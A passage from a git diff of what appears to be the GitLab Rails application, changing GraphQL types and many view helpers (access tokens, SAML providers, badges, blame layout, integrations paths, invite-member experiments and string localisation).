+ field :repository_size, GraphQL::Types::Float, null: false, description: 'Git repository size in bytes.'
+ field :lfs_objects_size, GraphQL::Types::Float, null: false, description: 'LFS objects size in bytes.'
+ field :build_artifacts_size, GraphQL::Types::Float, null: false, description: 'CI artifacts size in bytes.'
+ field :packages_size, GraphQL::Types::Float, null: false, description: 'Packages size in bytes.'
+ field :wiki_size, GraphQL::Types::Float, null: false, description: 'Wiki size in bytes.'
+ field :snippets_size, GraphQL::Types::Float, null: false, description: 'Snippets size in bytes.'
+ field :pipeline_artifacts_size, GraphQL::Types::Float, null: false, description: 'CI pipeline artifacts size in bytes.'
+ field :uploads_size, GraphQL::Types::Float, null: false, description: 'Uploads size in bytes.'
end
end
diff --git a/app/graphql/types/subscription_type.rb b/app/graphql/types/subscription_type.rb
index 5356a998f0d..3629edb5b33 100644
--- a/app/graphql/types/subscription_type.rb
+++ b/app/graphql/types/subscription_type.rb
@@ -6,5 +6,8 @@ module Types
field :issuable_assignees_updated, subscription: Subscriptions::IssuableUpdated, null: true,
description: 'Triggered when the assignees of an issuable are updated.'
+
+ field :issue_crm_contacts_updated, subscription: Subscriptions::IssuableUpdated, null: true,
+ description: 'Triggered when the crm contacts of an issuable are updated.'
end
end
diff --git a/app/graphql/types/user_callout_feature_name_enum.rb b/app/graphql/types/user_callout_feature_name_enum.rb
index 410ca5e1c95..bcb49a709ed 100644
--- a/app/graphql/types/user_callout_feature_name_enum.rb
+++ b/app/graphql/types/user_callout_feature_name_enum.rb
@@ -5,7 +5,7 @@ module Types
graphql_name 'UserCalloutFeatureNameEnum'
description 'Name of the feature that the callout is for.'
- ::UserCallout.feature_names.keys.each do |feature_name|
+ ::Users::Callout.feature_names.keys.each do |feature_name|
value feature_name.upcase, value: feature_name, description: "Callout feature name for #{feature_name}."
end
end
diff --git a/app/helpers/access_tokens_helper.rb b/app/helpers/access_tokens_helper.rb
index 877ad6db576..1d38262159f 100644
--- a/app/helpers/access_tokens_helper.rb
+++ b/app/helpers/access_tokens_helper.rb
@@ -1,7 +1,30 @@
# frozen_string_literal: true
module AccessTokensHelper
+ include AccountsHelper
+ include ApplicationHelper
+
def scope_description(prefix)
prefix == :project_access_token ? [:doorkeeper, :project_access_token_scope_desc] : [:doorkeeper, :scope_desc]
end
+
+ def tokens_app_data
+ {
+ feed_token: {
+ enabled: !Gitlab::CurrentSettings.disable_feed_token,
+ token: current_user.feed_token,
+ reset_path: reset_feed_token_profile_path
+ },
+ incoming_email_token: {
+ enabled: incoming_email_token_enabled?,
+ token: current_user.enabled_incoming_email_token,
+ reset_path: reset_incoming_email_token_profile_path
+ },
+ static_object_token: {
+ enabled: static_objects_external_storage_enabled?,
+ token: current_user.enabled_static_object_token,
+ reset_path: reset_static_object_token_profile_path
+ }
+ }.to_json
+ end
end
diff --git a/app/helpers/application_helper.rb b/app/helpers/application_helper.rb
index 58f933a7fe0..02a87979f40 100644
--- a/app/helpers/application_helper.rb
+++ b/app/helpers/application_helper.rb
@@ -206,10 +206,6 @@ module ApplicationHelper
'https://' + promo_host
end
- def contact_sales_url
- promo_url + '/sales'
- end
-
def support_url
Gitlab::CurrentSettings.current_application_settings.help_page_support_url.presence || promo_url + '/getting-help/'
end
diff --git a/app/helpers/auth_helper.rb b/app/helpers/auth_helper.rb
index 6fe92a5a978..c1a74382d46 100644
--- a/app/helpers/auth_helper.rb
+++ b/app/helpers/auth_helper.rb
@@ -86,6 +86,17 @@ module AuthHelper
auth_providers.select { |provider| form_based_provider?(provider) }
end
+ def saml_providers
+ auth_providers.select { |provider| auth_strategy_class(provider) == 'OmniAuth::Strategies::SAML' }
+ end
+
+ def auth_strategy_class(provider)
+ config = Gitlab::Auth::OAuth::Provider.config_for(provider)
+ return if config.nil? || config['args'].blank?
+
+ config.args['strategy_class']
+ end
+
def any_form_based_providers_enabled?
form_based_providers.any? { |provider| form_enabled_for_sign_in?(provider) }
end
@@ -164,10 +175,25 @@ module AuthHelper
end
def google_tag_manager_enabled?
- Gitlab.com? &&
- extra_config.has_key?('google_tag_manager_id') &&
- extra_config.google_tag_manager_id.present? &&
- !current_user
+ return false unless Gitlab.dev_env_or_com?
+
+ has_config_key = if Feature.enabled?(:gtm_nonce, type: :ops)
+ extra_config.has_key?('google_tag_manager_nonce_id') &&
+ extra_config.google_tag_manager_nonce_id.present?
+ else
+ extra_config.has_key?('google_tag_manager_id') &&
+ extra_config.google_tag_manager_id.present?
+ end
+
+ has_config_key && !current_user
+ end
+
+ def google_tag_manager_id
+ return unless google_tag_manager_enabled?
+
+ return extra_config.google_tag_manager_nonce_id if Feature.enabled?(:gtm_nonce, type: :ops)
+
+ extra_config.google_tag_manager_id
end
def auth_app_owner_text(owner)
diff --git a/app/helpers/badges_helper.rb b/app/helpers/badges_helper.rb
new file mode 100644
index 00000000000..a03f7f4097a
--- /dev/null
+++ b/app/helpers/badges_helper.rb
@@ -0,0 +1,99 @@
+# frozen_string_literal: true
+
+module BadgesHelper
+ VARIANT_CLASSES = {
+ muted: "badge-muted",
+ neutral: "badge-neutral",
+ info: "badge-info",
+ success: "badge-success",
+ warning: "badge-warning",
+ danger: "badge-danger"
+ }.tap { |hash| hash.default = hash.fetch(:muted) } .freeze
+
+ SIZE_CLASSES = {
+ sm: "sm",
+ md: "md",
+ lg: "lg"
+ }.tap { |hash| hash.default = hash.fetch(:md) } .freeze
+
+ GL_BADGE_CLASSES = %w[gl-badge badge badge-pill].freeze
+
+ GL_ICON_CLASSES = %w[gl-icon gl-badge-icon].freeze
+
+ # Creates a GitLab UI badge.
+ #
+ # Examples:
+ # # Plain text badge
+ # gl_badge_tag("foo")
+ #
+ # # Danger variant
+ # gl_badge_tag("foo", variant: :danger)
+ #
+ # # Small size
+ # gl_badge_tag("foo", size: :sm)
+ #
+ # # With icon
+ # gl_badge_tag("foo", icon: "question-o")
+ #
+ # # Icon-only
+ # gl_badge_tag("foo", icon: "question-o", icon_only: true)
+ #
+ # # Badge link
+ # gl_badge_tag("foo", nil, href: some_path)
+ #
+ # # Custom classes
+ # gl_badge_tag("foo", nil, class: "foo-bar")
+ #
+ # # Block content
+ # gl_badge_tag({ variant: :danger }, { class: "foo-bar" }) do
+ # "foo"
+ # end
+ #
+ # For accessibility, ensure that the given text or block is non-empty.
+ #
+ # See also https://gitlab-org.gitlab.io/gitlab-ui/?path=/story/base-badge--default.
+ def gl_badge_tag(*args, &block)
+ if block_given?
+ build_gl_badge_tag(capture(&block), *args)
+ else
+ build_gl_badge_tag(*args)
+ end
+ end
+
+ private
+
+ def build_gl_badge_tag(content, options = nil, html_options = nil)
+ options ||= {}
+ html_options ||= {}
+
+ icon_only = options[:icon_only]
+ variant_class = VARIANT_CLASSES[options.fetch(:variant, :muted)]
+ size_class = SIZE_CLASSES[options.fetch(:size, :md)]
+
+ html_options = html_options.merge(
+ class: [
+ *GL_BADGE_CLASSES,
+ variant_class,
+ size_class,
+ *html_options[:class]
+ ]
+ )
+
+ if icon_only
+ html_options['aria-label'] = content
+ html_options['role'] = 'img'
+ end
+
+ if options[:icon]
+ icon_classes = GL_ICON_CLASSES.dup
+ icon_classes << "gl-mr-2" unless icon_only
+ icon = sprite_icon(options[:icon], css_class: icon_classes.join(' '))
+
+ content = icon_only ? icon : icon + content
+ end
+
+ tag = html_options[:href].nil? ? :span : :a
+
+ content_tag(tag, content, html_options)
+ end
+end
diff --git a/app/helpers/blame_helper.rb b/app/helpers/blame_helper.rb
index 82c74e2416d..5117f7c6d9c 100644
--- a/app/helpers/blame_helper.rb
+++ b/app/helpers/blame_helper.rb
@@ -1,6 +1,13 @@
# frozen_string_literal: true
module BlameHelper
+ BODY_FONT_SIZE = "0.875rem"
+ COMMIT_LINE_HEIGHT = 3 # 150% * 2 lines of text
+ COMMIT_PADDING = "10px" # 5px from both top and bottom
+ COMMIT_BLOCK_HEIGHT_EXP = "(#{BODY_FONT_SIZE} * #{COMMIT_LINE_HEIGHT}) + #{COMMIT_PADDING}"
+ CODE_LINE_HEIGHT = 1.1875
+ CODE_PADDING = "20px" # 10px from both top and bottom
+
def age_map_duration(blame_groups, project)
now = Time.zone.now
start_date = blame_groups.map { |blame_group| blame_group[:commit].committed_date }
@@ -24,4 +31,12 @@ module BlameHelper
"blame-commit-age-#{age_group}"
end
end
+
+ def intrinsic_row_css(line_count)
+ # using rems here because the size of the row depends on the text size
+ # which can be customized via user agent styles and browser preferences
+ total_line_height_exp = "#{line_count * CODE_LINE_HEIGHT}rem + #{CODE_PADDING}"
+ row_height_exp = line_count == 1 ? COMMIT_BLOCK_HEIGHT_EXP : total_line_height_exp
+ "contain-intrinsic-size: 1px calc(#{row_height_exp})"
+ end
end
diff --git a/app/helpers/boards_helper.rb b/app/helpers/boards_helper.rb
index c26a73028b9..57da04b38cc 100644
--- a/app/helpers/boards_helper.rb
+++ b/app/helpers/boards_helper.rb
@@ -23,6 +23,7 @@ module BoardsHelper
labels_filter_base_path: build_issue_link_base,
labels_fetch_path: labels_fetch_path,
labels_manage_path: labels_manage_path,
+ releases_fetch_path: releases_fetch_path,
board_type: board.to_type
}
end
@@ -65,6 +66,14 @@ module BoardsHelper
end
end
+ def releases_fetch_path
+ if board.group_board?
+ group_releases_path(@group)
+ else
+ project_releases_path(@project)
+ end
+ end
+
def board_base_url
if board.group_board?
group_boards_url(@group)
diff --git a/app/helpers/ci/jobs_helper.rb b/app/helpers/ci/jobs_helper.rb
index d02fe3f20b0..c7f40decae8 100644
--- a/app/helpers/ci/jobs_helper.rb
+++ b/app/helpers/ci/jobs_helper.rb
@@ -19,6 +19,13 @@ module Ci
}
end
+ def bridge_data(build)
+ {
+ "build_name" => build.name,
+ "empty-state-illustration-path" => image_path('illustrations/job-trigger-md.svg')
+ }
+ end
+
def job_counts
{
"all" => limited_counter_with_delimiter(@all_builds),
diff --git a/app/helpers/ci/runners_helper.rb b/app/helpers/ci/runners_helper.rb
index 17057505173..8f219656b71 100644
--- a/app/helpers/ci/runners_helper.rb
+++ b/app/helpers/ci/runners_helper.rb
@@ -23,7 +23,7 @@ module Ci
icon = 'status-paused'
span_class = 'gl-text-gray-600'
end
- when :not_connected
+ when :not_connected, :never_contacted
title = s_("Runners|New runner, has not connected yet")
icon = 'warning-solid'
when :offline
diff --git a/app/helpers/diff_helper.rb b/app/helpers/diff_helper.rb
index ca5fe38576e..2b5f726dad1 100644
--- a/app/helpers/diff_helper.rb
+++ b/app/helpers/diff_helper.rb
@@ -283,7 +283,7 @@ module DiffHelper
return path unless path.size > max && max > 3
- "...#{path[-(max - 3)..-1]}"
+ "...#{path[-(max - 3)..]}"
end
def code_navigation_path(diffs)
diff --git a/app/helpers/export_helper.rb b/app/helpers/export_helper.rb
index 92d06471384..2699681fed7 100644
--- a/app/helpers/export_helper.rb
+++ b/app/helpers/export_helper.rb
@@ -18,7 +18,7 @@ module ExportHelper
[
_('Milestones'),
_('Labels'),
- _('Boards and Board Lists'),
+ _('Boards and board lists'),
_('Badges'),
_('Subgroups')
]
diff --git a/app/helpers/form_helper.rb b/app/helpers/form_helper.rb
index 9b4d0c0b9b3..3a5dcb4e664 100644
--- a/app/helpers/form_helper.rb
+++ b/app/helpers/form_helper.rb
@@ -35,7 +35,7 @@ module FormHelper
def assignees_dropdown_options(issuable_type)
dropdown_data = {
toggle_class: 'js-user-search js-assignee-search js-multiselect js-save-user-data',
- title: 'Select assignee',
+ title: _('Select assignee'),
filter: true,
dropdown_class: 'dropdown-menu-user dropdown-menu-selectable dropdown-menu-assignee',
placeholder: _('Search users'),
@@ -45,9 +45,9 @@ module FormHelper
current_user: true,
project_id: (@target_project || @project)&.id,
field_name: "#{issuable_type}[assignee_ids][]",
- default_label: 'Unassigned',
+ default_label: _('Unassigned'),
'max-select': 1,
- 'dropdown-header': 'Assignee',
+ 'dropdown-header': _('Assignee'),
multi_select: true,
'input-meta': 'name',
'always-show-selectbox': true,
@@ -123,7 +123,7 @@ module FormHelper
def multiple_assignees_dropdown_options(options)
new_options = options.dup
- new_options[:title] = 'Select assignee(s)'
+ new_options[:title] = _('Select assignee(s)')
new_options[:data][:'dropdown-header'] = 'Assignee(s)'
new_options[:data].delete(:'max-select')
diff --git a/app/helpers/ide_helper.rb b/app/helpers/ide_helper.rb
index 09ff57e2baf..4d81aeca37a 100644
--- a/app/helpers/ide_helper.rb
+++ b/app/helpers/ide_helper.rb
@@ -29,7 +29,7 @@ module IdeHelper
def convert_to_project_entity_json(project)
return unless project
- API::Entities::Project.represent(project).to_json
+ API::Entities::Project.represent(project, current_user: current_user).to_json
end
def enable_environments_guidance?
diff --git a/app/helpers/integrations_helper.rb b/app/helpers/integrations_helper.rb
index bb4a7fef6be..c5e767c6f64 100644
--- a/app/helpers/integrations_helper.rb
+++ b/app/helpers/integrations_helper.rb
@@ -17,31 +17,31 @@ module IntegrationsHelper
"#{event}_events"
end
- def scoped_integrations_path
- if @project.present?
- project_settings_integrations_path(@project)
- elsif @group.present?
- group_settings_integrations_path(@group)
+ def scoped_integrations_path(project: nil, group: nil)
+ if project.present?
+ project_settings_integrations_path(project)
+ elsif group.present?
+ group_settings_integrations_path(group)
else
integrations_admin_application_settings_path
end
end
- def scoped_integration_path(integration)
- if @project.present?
- project_service_path(@project, integration)
- elsif @group.present?
- group_settings_integration_path(@group, integration)
+ def scoped_integration_path(integration, project: nil, group: nil)
+ if project.present?
+ project_service_path(project, integration)
+ elsif group.present?
+ group_settings_integration_path(group, integration)
else
admin_application_settings_integration_path(integration)
end
end
- def scoped_edit_integration_path(integration)
- if @project.present?
- edit_project_service_path(@project, integration)
- elsif @group.present?
- edit_group_settings_integration_path(@group, integration)
+ def scoped_edit_integration_path(integration, project: nil, group: nil)
+ if project.present?
+ edit_project_service_path(project, integration)
+ elsif group.present?
+ edit_group_settings_integration_path(group, integration)
else
edit_admin_application_settings_integration_path(integration)
end
@@ -51,11 +51,11 @@ module IntegrationsHelper
overrides_admin_application_settings_integration_path(integration, options)
end
- def scoped_test_integration_path(integration)
- if @project.present?
- test_project_service_path(@project, integration)
- elsif @group.present?
- test_group_settings_integration_path(@group, integration)
+ def scoped_test_integration_path(integration, project: nil, group: nil)
+ if project.present?
+ test_project_service_path(project, integration)
+ elsif group.present?
+ test_group_settings_integration_path(group, integration)
else
test_admin_application_settings_integration_path(integration)
end
@@ -71,7 +71,7 @@ module IntegrationsHelper
end
end
- def integration_form_data(integration, group: nil)
+ def integration_form_data(integration, project: nil, group: nil)
form_data = {
id: integration.id,
show_active: integration.show_active_box?.to_s,
@@ -87,9 +87,9 @@ module IntegrationsHelper
inherit_from_id: integration.inherit_from_id,
integration_level: integration_level(integration),
editable: integration.editable?.to_s,
- cancel_path: scoped_integrations_path,
+ cancel_path: scoped_integrations_path(project: project, group: group),
can_test: integration.testable?.to_s,
- test_path: scoped_test_integration_path(integration),
+ test_path: scoped_test_integration_path(integration, project: project, group: group),
reset_path: scoped_reset_integration_path(integration, group: group)
}
@@ -107,9 +107,9 @@ module IntegrationsHelper
}
end
- def integration_list_data(integrations)
+ def integration_list_data(integrations, group: nil, project: nil)
{
- integrations: integrations.map { |i| serialize_integration(i) }.to_json
+ integrations: integrations.map { |i| serialize_integration(i, group: group, project: project) }.to_json
}
end
@@ -215,13 +215,13 @@ module IntegrationsHelper
end
end
- def serialize_integration(integration)
+ def serialize_integration(integration, group: nil, project: nil)
{
active: integration.operating?,
title: integration.title,
description: integration.description,
updated_at: integration.updated_at,
- edit_path: scoped_edit_integration_path(integration),
+ edit_path: scoped_edit_integration_path(integration, group: group, project: project),
name: integration.to_param
}
end
diff --git a/app/helpers/invite_members_helper.rb b/app/helpers/invite_members_helper.rb
index 01ae0ce4f31..8b26b646fdd 100644
--- a/app/helpers/invite_members_helper.rb
+++ b/app/helpers/invite_members_helper.rb
@@ -35,14 +35,7 @@ module InviteMembersHelper
default_access_level: Gitlab::Access::GUEST
}
- experiment(:member_areas_of_focus, user: current_user) do |e|
- e.publish_to_database
-
- e.control { dataset.merge!(areas_of_focus_options: [], no_selection_areas_of_focus: []) }
- e.candidate { dataset.merge!(areas_of_focus_options: member_areas_of_focus_options.to_json, no_selection_areas_of_focus: ['no_selection']) }
- end
-
- if show_invite_members_for_task?
+ if show_invite_members_for_task?(source)
dataset.merge!(
tasks_to_be_done_options: tasks_to_be_done_options.to_json,
projects: projects_for_source(source).to_json,
@@ -55,35 +48,16 @@ module InviteMembersHelper
private
- def member_areas_of_focus_options
- [
- {
- value: 'Contribute to the codebase', text: s_('InviteMembersModal|Contribute to the codebase')
- },
- {
- value: 'Collaborate on open issues and merge requests', text: s_('InviteMembersModal|Collaborate on open issues and merge requests')
- },
- {
- value: 'Configure CI/CD', text: s_('InviteMembersModal|Configure CI/CD')
- },
- {
- value: 'Configure security features', text: s_('InviteMembersModal|Configure security features')
- },
- {
- value: 'Other', text: s_('InviteMembersModal|Other')
- }
- ]
- end
-
# Overridden in EE
def users_filter_data(group)
{}
end
- def show_invite_members_for_task?
- return unless current_user && experiment(:invite_members_for_task).enabled?
+ def show_invite_members_for_task?(source)
+ return unless current_user
- params[:open_modal] == 'invite_members_for_task'
+ invite_for_help_continuous_onboarding = source.is_a?(Project) && experiment(:invite_for_help_continuous_onboarding, namespace: source.namespace).variant.name == 'candidate'
+ params[:open_modal] == 'invite_members_for_task' || invite_for_help_continuous_onboarding
end
def tasks_to_be_done_options
diff --git a/app/helpers/issuables_description_templates_helper.rb b/app/helpers/issuables_description_templates_helper.rb
index 6b546d5c6fc..6c23f888823 100644
--- a/app/helpers/issuables_description_templates_helper.rb
+++ b/app/helpers/issuables_description_templates_helper.rb
@@ -6,7 +6,7 @@ module IssuablesDescriptionTemplatesHelper
def template_dropdown_tag(issuable, &block)
selected_template = selected_template(issuable)
- title = selected_template || "Choose a template"
+ title = selected_template || _('Choose a template')
options = {
toggle_class: 'js-issuable-selector',
title: title,
diff --git a/app/helpers/issuables_helper.rb b/app/helpers/issuables_helper.rb
index 07f5adae272..53a7487741e 100644
--- a/app/helpers/issuables_helper.rb
+++ b/app/helpers/issuables_helper.rb
@@ -80,7 +80,7 @@ module IssuablesHelper
def users_dropdown_label(selected_users)
case selected_users.length
when 0
- "Unassigned"
+ _('Unassigned')
when 1
selected_users[0].name
else
@@ -133,7 +133,7 @@ module IssuablesHelper
end
# rubocop: enable CodeReuse/ActiveRecord
- def milestone_dropdown_label(milestone_title, default_label = "Milestone")
+ def milestone_dropdown_label(milestone_title, default_label = _('Milestone'))
title =
case milestone_title
when Milestone::Upcoming.name then Milestone::Upcoming.title
@@ -188,7 +188,12 @@ module IssuablesHelper
end
def issuables_state_counter_text(issuable_type, state, display_count)
- titles = { opened: "Open" }
+ titles = {
+ opened: _("Open"),
+ closed: _("Closed"),
+ merged: _("Merged"),
+ all: _("All")
+ }
state_title = titles[state] || state.to_s.humanize
html = content_tag(:span, state_title)
diff --git a/app/helpers/issues_helper.rb b/app/helpers/issues_helper.rb
index a88ca6f6b11..cddf740a0e6 100644
--- a/app/helpers/issues_helper.rb
+++ b/app/helpers/issues_helper.rb
@@ -193,11 +193,13 @@ module IssuesHelper
{
can_create_issue: show_new_issue_link?(project).to_s,
can_create_incident: create_issue_type_allowed?(project, :incident).to_s,
+ can_destroy_issue: can?(current_user, :"destroy_#{issuable.to_ability_name}", issuable).to_s,
can_reopen_issue: can?(current_user, :reopen_issue, issuable).to_s,
can_report_spam: issuable.submittable_as_spam_by?(current_user).to_s,
can_update_issue: can?(current_user, :update_issue, issuable).to_s,
iid: issuable.iid,
is_issue_author: (issuable.author == current_user).to_s,
+ issue_path: issuable_path(issuable),
issue_type: issuable_display_type(issuable),
new_issue_path: new_project_issue_path(project, new_issuable_params),
project_path: project.full_path,
@@ -212,6 +214,8 @@ module IssuesHelper
calendar_path: url_for(safe_params.merge(calendar_url_options)),
empty_state_svg_path: image_path('illustrations/issues.svg'),
full_path: namespace.full_path,
+ is_anonymous_search_disabled: Feature.enabled?(:disable_anonymous_search, type: :ops).to_s,
+ is_issue_repositioning_disabled: issue_repositioning_disabled?.to_s,
is_signed_in: current_user.present?.to_s,
jira_integration_path: help_page_url('integration/jira/issues', anchor: 'view-jira-issues'),
rss_path: url_for(safe_params.merge(rss_url_options)),
diff --git a/app/helpers/jira_connect_helper.rb b/app/helpers/jira_connect_helper.rb
index 475469a6df9..9a0f0944fd1 100644
--- a/app/helpers/jira_connect_helper.rb
+++ b/app/helpers/jira_connect_helper.rb
@@ -8,7 +8,8 @@ module JiraConnectHelper
groups_path: api_v4_groups_path(params: { min_access_level: Gitlab::Access::MAINTAINER, skip_groups: skip_groups }),
subscriptions: subscriptions.map { |s| serialize_subscription(s) }.to_json,
subscriptions_path: jira_connect_subscriptions_path,
- users_path: current_user ? nil : jira_connect_users_path
+ users_path: current_user ? nil : jira_connect_users_path, # users_path is used to determine if user is signed in
+ gitlab_user_path: current_user ? user_path(current_user) : nil
}
end
diff --git a/app/helpers/learn_gitlab_helper.rb b/app/helpers/learn_gitlab_helper.rb
index 08a30c4d53b..7f8f6d77ff4 100644
--- a/app/helpers/learn_gitlab_helper.rb
+++ b/app/helpers/learn_gitlab_helper.rb
@@ -10,7 +10,8 @@ module LearnGitlabHelper
def learn_gitlab_data(project)
{
actions: onboarding_actions_data(project).to_json,
- sections: onboarding_sections_data.to_json
+ sections: onboarding_sections_data.to_json,
+ project: onboarding_project_data(project).to_json
}
end
@@ -56,6 +57,10 @@ module LearnGitlabHelper
}
end
+ def onboarding_project_data(project)
+ { name: project.name }
+ end
+
def action_urls
LearnGitlab::Onboarding::ACTION_ISSUE_IDS.transform_values { |id| project_issue_url(learn_gitlab_project, id) }
.merge(LearnGitlab::Onboarding::ACTION_DOC_URLS)
diff --git a/app/helpers/markup_helper.rb b/app/helpers/markup_helper.rb
index f185d6cd002..f16d9f6325b 100644
--- a/app/helpers/markup_helper.rb
+++ b/app/helpers/markup_helper.rb
@@ -181,7 +181,7 @@ module MarkupHelper
wiki: wiki,
repository: wiki.repository,
page_slug: wiki_page.slug,
- issuable_state_filter_enabled: true
+ issuable_reference_expansion_enabled: true
).merge(render_wiki_content_context_container(wiki))
end
diff --git a/app/helpers/merge_requests_helper.rb b/app/helpers/merge_requests_helper.rb
index d5d692f2d6e..abb7128470f 100644
--- a/app/helpers/merge_requests_helper.rb
+++ b/app/helpers/merge_requests_helper.rb
@@ -182,7 +182,7 @@ module MergeRequestsHelper
project_path: project_path(merge_request.project),
changes_empty_state_illustration: image_path('illustrations/merge_request_changes_empty.svg'),
is_fluid_layout: fluid_layout.to_s,
- dismiss_endpoint: user_callouts_path,
+ dismiss_endpoint: callouts_path,
show_suggest_popover: show_suggest_popover?.to_s,
show_whitespace_default: @show_whitespace_default.to_s,
file_by_file_default: @file_by_file_default.to_s,
diff --git a/app/helpers/namespaces_helper.rb b/app/helpers/namespaces_helper.rb
index 106df168080..6acec417a75 100644
--- a/app/helpers/namespaces_helper.rb
+++ b/app/helpers/namespaces_helper.rb
@@ -88,6 +88,13 @@ module NamespacesHelper
group.namespace_settings.public_send(method_name, **args) # rubocop:disable GitlabSecurity/PublicSend
end
+ def namespaces_as_json(selected = :current_user)
+ {
+ group: formatted_namespaces(current_user.manageable_groups_with_routes),
+ user: formatted_namespaces([current_user.namespace])
+ }.to_json
+ end
+
private
# Many importers create a temporary Group, so use the real
@@ -119,6 +126,17 @@ module NamespacesHelper
[group_label.camelize, elements]
end
+
+ def formatted_namespaces(namespaces)
+ namespaces.sort_by(&:human_name).map! do |n|
+ {
+ id: n.id,
+ display_path: n.full_path,
+ human_name: n.human_name,
+ name: n.name
+ }
+ end
+ end
end
NamespacesHelper.prepend_mod_with('NamespacesHelper')
diff --git a/app/helpers/nav/new_dropdown_helper.rb b/app/helpers/nav/new_dropdown_helper.rb
index e7d69c38a54..715a5a02b50 100644
--- a/app/helpers/nav/new_dropdown_helper.rb
+++ b/app/helpers/nav/new_dropdown_helper.rb
@@ -50,7 +50,7 @@ module Nav
menu_items.push(create_epic_menu_item(group))
- if Gitlab::Experimentation.active?(:invite_members_new_dropdown) && can?(current_user, :admin_group_member, group)
+ if can?(current_user, :admin_group_member, group)
menu_items.push(
invite_members_menu_item(
href: group_group_members_path(group)
@@ -101,7 +101,7 @@ module Nav
)
end
- if Gitlab::Experimentation.active?(:invite_members_new_dropdown) && can_admin_project_member?(project)
+ if can_admin_project_member?(project)
menu_items.push(
invite_members_menu_item(
href: project_project_members_path(project)
@@ -161,12 +161,11 @@ module Nav
::Gitlab::Nav::TopNavMenuItem.build(
id: 'invite',
title: s_('InviteMember|Invite members'),
- emoji: ('shaking_hands' if experiment_enabled?(:invite_members_new_dropdown)),
+ emoji: 'shaking_hands',
href: href,
data: {
- track_action: 'click_link',
- track_label: tracking_label,
- track_property: experiment_tracking_category_and_group(:invite_members_new_dropdown)
+ track_action: 'click_link_invite_members',
+ track_label: 'plus_menu_dropdown'
}
)
end
diff --git a/app/helpers/notifications_helper.rb b/app/helpers/notifications_helper.rb
index 9db28b54fe9..ddaef4652b4 100644
--- a/app/helpers/notifications_helper.rb
+++ b/app/helpers/notifications_helper.rb
@@ -67,7 +67,6 @@ module NotificationsHelper
when :custom
_('You will only receive notifications for the events you choose')
when :owner_disabled
- # Any change must be reflected in board_sidebar_subscription.vue
_('Notifications have been disabled by the project or group owner')
end
end
diff --git a/app/helpers/notify_helper.rb b/app/helpers/notify_helper.rb
index ed96f3cef4f..c0ba93f4a30 100644
--- a/app/helpers/notify_helper.rb
+++ b/app/helpers/notify_helper.rb
@@ -20,21 +20,4 @@ module NotifyHelper
(source.description || default_description).truncate(200, separator: ' ')
end
-
- def invited_join_url(token, member)
- additional_params = { invite_type: Emails::Members::INITIAL_INVITE }
-
- # order important below to our scheduled testing of these
- # `from` experiment will be after the `text` on, but we may not cleanup
- # from the `text` one by the time we run the `from` experiment,
- # therefore we want to support `text` being fully enabled
- # but if `from` is also enabled, then we only care about `from`
- if experiment(:invite_email_from, actor: member).enabled?
- additional_params[:experiment_name] = 'invite_email_from'
- elsif experiment(:invite_email_preview_text, actor: member).enabled?
- additional_params[:experiment_name] = 'invite_email_preview_text'
- end
-
- invite_url(token, additional_params)
- end
end
diff --git a/app/helpers/operations_helper.rb b/app/helpers/operations_helper.rb
index 5d2f225edcf..baeb9a477c3 100644
--- a/app/helpers/operations_helper.rb
+++ b/app/helpers/operations_helper.rb
@@ -16,7 +16,7 @@ module OperationsHelper
{
'prometheus_activated' => prometheus_integration.manual_configuration?.to_s,
- 'prometheus_form_path' => scoped_integration_path(prometheus_integration),
+ 'prometheus_form_path' => scoped_integration_path(prometheus_integration, project: prometheus_integration.project, group: prometheus_integration.group),
'prometheus_reset_key_path' => reset_alerting_token_project_settings_operations_path(@project),
'prometheus_authorization_key' => @project.alerting_setting&.token,
'prometheus_api_url' => prometheus_integration.api_url,
diff --git a/app/helpers/packages_helper.rb b/app/helpers/packages_helper.rb
index c69d9eb1326..66f80e7eeb8 100644
--- a/app/helpers/packages_helper.rb
+++ b/app/helpers/packages_helper.rb
@@ -38,17 +38,6 @@ module PackagesHelper
"#{Gitlab.config.gitlab.host}/#{group_id}"
end
- def packages_list_data(type, resource)
- {
- resource_id: resource.id,
- full_path: resource.full_path,
- page_type: type,
- empty_list_help_url: help_page_path('user/packages/package_registry/index'),
- empty_list_illustration: image_path('illustrations/no-packages.svg'),
- package_help_url: help_page_path('user/packages/index')
- }
- end
-
def track_package_event(event_name, scope, **args)
::Packages::CreateEventService.new(nil, current_user, event_name: event_name, scope: scope).execute
category = args.delete(:category) || self.class.name
diff --git a/app/helpers/profiles_helper.rb b/app/helpers/profiles_helper.rb
index 09fc1ab9d50..0d514773891 100644
--- a/app/helpers/profiles_helper.rb
+++ b/app/helpers/profiles_helper.rb
@@ -61,6 +61,11 @@ module ProfilesHelper
def ssh_key_expires_field_description
s_('Profiles|Key can still be used after expiration.')
end
+
+ # Overridden in EE::ProfilesHelper#ssh_key_expiration_policy_enabled?
+ def ssh_key_expiration_policy_enabled?
+ false
+ end
end
ProfilesHelper.prepend_mod
diff --git a/app/helpers/projects/cluster_agents_helper.rb b/app/helpers/projects/cluster_agents_helper.rb
index 20fa721cc3b..aeeab250c7a 100644
--- a/app/helpers/projects/cluster_agents_helper.rb
+++ b/app/helpers/projects/cluster_agents_helper.rb
@@ -4,7 +4,8 @@ module Projects::ClusterAgentsHelper
def js_cluster_agent_details_data(agent_name, project)
{
agent_name: agent_name,
- project_path: project.full_path
+ project_path: project.full_path,
+ activity_empty_state_image: image_path('illustrations/empty-state/empty-state-agents.svg')
}
end
end
diff --git a/app/helpers/projects_helper.rb b/app/helpers/projects_helper.rb
index 8366b25d2bc..827d2cb7164 100644
--- a/app/helpers/projects_helper.rb
+++ b/app/helpers/projects_helper.rb
@@ -120,6 +120,15 @@ module ProjectsHelper
{ project_full_name: project.full_name }
end
+ def remove_fork_project_confirm_json(project, remove_form_id)
+ {
+ remove_form_id: remove_form_id,
+ button_text: _('Remove fork relationship'),
+ confirm_danger_message: remove_fork_project_warning_message(project),
+ phrase: @project.path
+ }
+ end
+
def visible_fork_source(project)
project.fork_source if project.fork_source && can?(current_user, :read_project, project.fork_source)
end
@@ -405,6 +414,16 @@ module ProjectsHelper
project.path_with_namespace
end
+ def fork_button_disabled_tooltip(project)
+ return unless current_user
+
+ if !current_user.can?(:fork_project, project)
+ s_("ProjectOverview|You don't have permission to fork this project")
+ elsif !current_user.can?(:create_fork)
+ s_('ProjectOverview|You have reached your project limit')
+ end
+ end
+
private
def tab_ability_map
diff --git a/app/helpers/routing/graphql_helper.rb b/app/helpers/routing/graphql_helper.rb
index beefbb9b387..2e1d084e3cc 100644
--- a/app/helpers/routing/graphql_helper.rb
